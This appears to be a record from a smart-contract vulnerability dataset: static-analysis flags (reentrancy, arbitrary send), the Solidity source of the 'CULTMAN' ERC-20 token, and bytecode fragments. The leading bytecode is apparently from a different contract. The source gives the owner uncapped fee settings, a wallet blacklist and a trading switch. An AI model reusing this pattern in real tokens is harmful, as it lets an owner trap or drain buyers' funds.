0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b821115612a8157612a7e6064612a70600c54612a62601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b91505b612a8a82612e2f565b5b60004790506000811115612aa357612aa247612bcf565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b4f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5957600090505b612b6584848484613101565b50505050565b6000838311158290612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa9190613eae565b60405180910390fd5b5060008385612bc291906142a7565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c1f6002846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612c4a573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9b6004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d176004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d42573d6000803e3d6000fd5b5050565b6000600854821115612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490613ef0565b60405180910390fd5b6000612d9761312e565b9050612dac81846130b790919063ffffffff16565b915050919050565b600080831415612dc75760009050612e29565b60008284612dd5919061424d565b9050828482612de4919061421c565b14612e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1b90613fb0565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612e6757612e6661447c565b5b604051908082528060200260200182016040528015612e955781602001602082028036833780820191505090505b5090503081600081518110612ead57612eac61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4f57600080fd5b505afa158015612f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f8791906138af565b81600181518110612f9b57612f9a61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118cb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130669594939291906140ab565b600060405180830381600087803b15801561308057600080fd5b505af1158015613094573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006130f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613159565b905092915050565b8061310f5761310e6131bc565b5b61311a8484846131ff565b80613128576131276133ca565b5b50505050565b600080600061313b6133de565b9150915061315281836130b790919063ffffffff16565b9250505090565b600080831182906131a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131979190613eae565b60405180910390fd5b50600083856131af919061421c565b9050809150509392505050565b6000600a541480156131d057506000600b54145b156131da576131fd565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b60008060008060008061321187613440565b95509550955095509550955061326f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335081613550565b61335a848361360d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516133b79190614090565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea000009050613414683635c9adc5dea000006008546130b790919063ffffffff16565b82101561343357600854683635c9adc5dea0000093509350505061343c565b81819350935050505b9091565b600080600080600080600080600061345d8a600a54600b54613647565b925092509250600061346d61312e565b905060008060006134808e8787876136dd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006134ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b6b565b905092915050565b600080828461350191906141c6565b905083811015613546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353d90613f50565b60405180910390fd5b8091505092915050565b600061355a61312e565b905060006135718284612db490919063ffffffff16565b90506135c581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613622826008546134a890919063ffffffff16565b60088190555061363d816009546134f290919063ffffffff16565b6009819055505050565b6000806000806136736064613665888a612db490919063ffffffff16565b6130b790919063ffffffff16565b9050600061369d606461368f888b612db490919063ffffffff16565b6130b790919063ffffffff16565b905060006136c6826136b8858c6134a890919063ffffffff16565b6134a890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806136f68589612db490919063ffffffff16565b9050600061370d8689612db490919063ffffffff16565b905060006137248789612db490919063ffffffff16565b9050600061374d8261373f85876134a890919063ffffffff16565b6134a890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061377961377484614145565b614120565b9050808382526020820190508285602086028201111561379c5761379b6144b0565b5b60005b858110156137cc57816137b288826137d6565b84526020840193506020830192505060018101905061379f565b5050509392505050565b6000813590506137e581614864565b92915050565b6000815190506137fa81614864565b92915050565b600082601f830112613815576138146144ab565b5b8135613825848260208601613766565b91505092915050565b60008135905061383d8161487b565b92915050565b6000815190506138528161487b565b92915050565b60008135905061386781614892565b92915050565b60008151905061387c81614892565b92915050565b600060208284031215613898576138976144ba565b5b60006138a6848285016137d6565b91505092915050565b6000602082840312156138c5576138c46144ba565b5b60006138d3848285016137eb565b91505092915050565b600080604083850312156138f3576138f26144ba565b5b6000613901858286016137d6565b9250506020613912858286016137d6565b9150509250929050565b600080600060608486031215613935576139346144ba565b5b6000613943868287016137d6565b9350506020613954868287016137d6565b925050604061396586828701613858565b9150509250925092565b60008060408385031215613986576139856144ba565b5b6000613994858286016137d6565b92505060206139a585828601613858565b9150509250929050565b6000602082840312156139c5576139c46144ba565b5b600082013567ffffffffffffffff8111156139e3576139e26144b5565b5b6139ef84828501613800565b91505092915050565b600060208284031215613a0e57613a0d6144ba565b5b6000613a1c8482850161382e565b91505092915050565b600060208284031215613a3b57613a3a6144ba565b5b6000613a4984828501613843565b91505092915050565b600060208284031215613a6857613a676144ba565b5b6000613a7684828501613858565b91505092915050565b600080600060608486031215613a9857613a976144ba565b5b6000613aa68682870161386d565b9350506020613ab78682870161386d565b9250506040613ac88682870161386d565b9150509250925092565b6000613ade8383613aea565b60208301905092915050565b613af3816142db565b82525050565b613b02816142db565b82525050565b6000613b1382614181565b613b1d81856141a4565b9350613b2883614171565b8060005b83811015613b59578151613b408882613ad2565b9750613b4b83614197565b925050600181019050613b2c565b5085935050505092915050565b613b6f816142ed565b82525050565b613b7e81614330565b82525050565b6000613b8f8261418c565b613b9981856141b5565b9350613ba9818560208601614342565b613bb2816144bf565b840191505092915050565b6000613bca6023836141b5565b9150613bd5826144d0565b604082019050919050565b6000613bed602a836141b5565b9150613bf88261451f565b604082019050919050565b6000613c106022836141b5565b9150613c1b8261456e565b604082019050919050565b6000613c336022836141b5565b9150613c3e826145bd565b604082019050919050565b6000613c56601b836141b5565b9150613c618261460c565b602082019050919050565b6000613c796015836141b5565b9150613c8482614635565b602082019050919050565b6000613c9c6023836141b5565b9150613ca78261465e565b604082019050919050565b6000613cbf6021836141b5565b9150613cca826146ad565b604082019050919050565b6000613ce26020836141b5565b9150613ced826146fc565b602082019050919050565b6000613d056029836141b5565b9150613d1082614725565b604082019050919050565b6000613d286025836141b5565b9150613d3382614774565b604082019050919050565b6000613d4b6024836141b5565b9150613d56826147c3565b604082019050919050565b6000613d6e6017836141b5565b9150613d7982614812565b602082019050919050565b6000613d916018836141b5565b9150613d9c8261483b565b602082019050919050565b613db081614319565b82525050565b613dbf81614323565b82525050565b6000602082019050613dda6000830184613af9565b92915050565b6000604082019050613df56000830185613af9565b613e026020830184613af9565b9392505050565b6000604082019050613e1e6000830185613af9565b613e2b6020830184613da7565b9392505050565b600060c082019050613e476000830189613af9565b613e546020830188613da7565b613e616040830187613b75565b613e6e6060830186613b75565b613e7b6080830185613af9565b613e8860a0830184613da7565b979650505050505050565b6000602082019050613ea86000830184613b66565b92915050565b60006020820190508181036000830152613ec88184613b84565b905092915050565b60006020820190508181036000830152613ee981613bbd565b9050919050565b60006020820190508181036000830152613f0981613be0565b9050919050565b60006020820190508181036000830152613f2981613c03565b9050919050565b60006020820190508181036000830152613f4981613c26565b9050919050565b60006020820190508181036000830152613f6981613c49565b9050919050565b60006020820190508181036000830152613f8981613c6c565b9050919050565b60006020820190508181036000830152613fa981613c8f565b9050919050565b60006020820190508181036000830152613fc981613cb2565b9050919050565b60006020820190508181036000830152613fe981613cd5565b9050919050565b6000602082019050818103600083015261400981613cf8565b9050919050565b6000602082019050818103600083015261402981613d1b565b9050919050565b6000602082019050818103600083015261404981613d3e565b9050919050565b6000602082019050818103600083015261406981613d61565b9050919050565b6000602082019050818103600083015261408981613d84565b9050919050565b60006020820190506140a56000830184613da7565b92915050565b600060a0820190506140c06000830188613da7565b6140cd6020830187613b75565b81810360408301526140df8186613b08565b90506140ee6060830185613af9565b6140fb6080830184613da7565b9695505050505050565b600060208201905061411a6000830184613db6565b92915050565b600061412a61413b565b90506141368282614375565b919050565b6000604051905090565b600067ffffffffffffffff8211156141605761415f61447c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006141d182614319565b91506141dc83614319565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614211576142106143ef565b5b828201905092915050565b600061422782614319565b915061423283614319565b9250826142425761424161441e565b5b828204905092915050565b600061425882614319565b915061426383614319565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561429c5761429b6143ef565b5b828202905092915050565b60006142b282614319565b91506142bd83614319565b9250828210156142d0576142cf6143ef565b5b828203905092915050565b60006142e6826142f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061433b82614319565b9050919050565b60005b83811015614360578082015181840152602081019050614345565b8381111561436f576000848401525b50505050565b61437e826144bf565b810181811067ffffffffffffffff8211171561439d5761439c61447c565b5b80604052505050565b60006143b182614319565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143e4576143e36143ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61486d816142db565b811461487857600080fd5b50565b614884816142ed565b811461488f57600080fd5b50565b61489b81614319565b81146148a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122060beff80420c30e670d41a16aafaf138df8644baf5f0ea667925d93f4ce6c96c64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,671 |
0x71db4b09e3013aed6ac674480963576bd3d2e68a
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
// https://t.me/cultmanportal
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CULTMAN is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "CULTMAN";
string private constant _symbol = "CULTMAN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner());
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610522578063dd62ed3e14610542578063ea1644d514610588578063f2fde38b146105a857600080fd5b8063a2a957bb1461049d578063a9059cbb146104bd578063bfd79284146104dd578063c3c8cd801461050d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104475780638f9a55c01461046757806395d89b41146101fe57806398a5c3151461047d57600080fd5b80637d1db4a5146103e65780637f2feddc146103fc5780638da5cb5b1461042957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037c57806370a0823114610391578063715018a6146103b157806374010ece146103c657600080fd5b8063313ce5671461030057806349bd5a5e1461031c5780636b9990531461033c5780636d8aa8f81461035c57600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102ca5780632fd689e3146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f73660046117ae565b6105c8565b005b34801561020a57600080fd5b50604080518082018252600781526621aaa62a26a0a760c91b602082015290516102349190611873565b60405180910390f35b34801561024957600080fd5b5061025d6102583660046118c8565b610667565b6040519015158152602001610234565b34801561027957600080fd5b5060135461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b50670de0b6b3a76400005b604051908152602001610234565b3480156102d657600080fd5b5061025d6102e53660046118f4565b61067e565b3480156102f657600080fd5b506102bc60175481565b34801561030c57600080fd5b5060405160098152602001610234565b34801561032857600080fd5b5060145461028d906001600160a01b031681565b34801561034857600080fd5b506101fc610357366004611935565b6106e7565b34801561036857600080fd5b506101fc610377366004611962565b610732565b34801561038857600080fd5b506101fc61077a565b34801561039d57600080fd5b506102bc6103ac366004611935565b6107a7565b3480156103bd57600080fd5b506101fc6107c9565b3480156103d257600080fd5b506101fc6103e136600461197d565b61083d565b3480156103f257600080fd5b506102bc60155481565b34801561040857600080fd5b506102bc610417366004611935565b60116020526000908152604090205481565b34801561043557600080fd5b506000546001600160a01b031661028d565b34801561045357600080fd5b506101fc610462366004611962565b61086c565b34801561047357600080fd5b506102bc60165481565b34801561048957600080fd5b506101fc61049836600461197d565b6108cb565b3480156104a957600080fd5b506101fc6104b8366004611996565b6108fa565b3480156104c957600080fd5b5061025d6104d83660046118c8565b610938565b3480156104e957600080fd5b5061025d6104f8366004611935565b60106020526000908152604090205460ff1681565b34801561051957600080fd5b506101fc610945565b34801561052e57600080fd5b506101fc61053d3660046119c8565b61097b565b34801561054e57600080fd5b506102bc61055d366004611a4c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059457600080fd5b506101fc6105a336600461197d565b610a1c565b3480156105b457600080fd5b506101fc6105c3366004611935565b610a4b565b6000546001600160a01b031633146105fb5760405162461bcd60e51b81526004016105f290611a85565b60405180910390fd5b60005b81518110156106635760016010600084848151811061061f5761061f611aba565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065b81611ae6565b9150506105fe565b5050565b6000610674338484610b35565b5060015b92915050565b600061068b848484610c59565b6106dd84336106d885604051806060016040528060288152602001611c00602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061104b565b610b35565b5060019392505050565b6000546001600160a01b031633146107115760405162461bcd60e51b81526004016105f290611a85565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075c5760405162461bcd60e51b81526004016105f290611a85565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461079a57600080fd5b476107a481611085565b50565b6001600160a01b038116600090815260026020526040812054610678906110bf565b6000546001600160a01b031633146107f35760405162461bcd60e51b81526004016105f290611a85565b600080546040516001600160a01b03909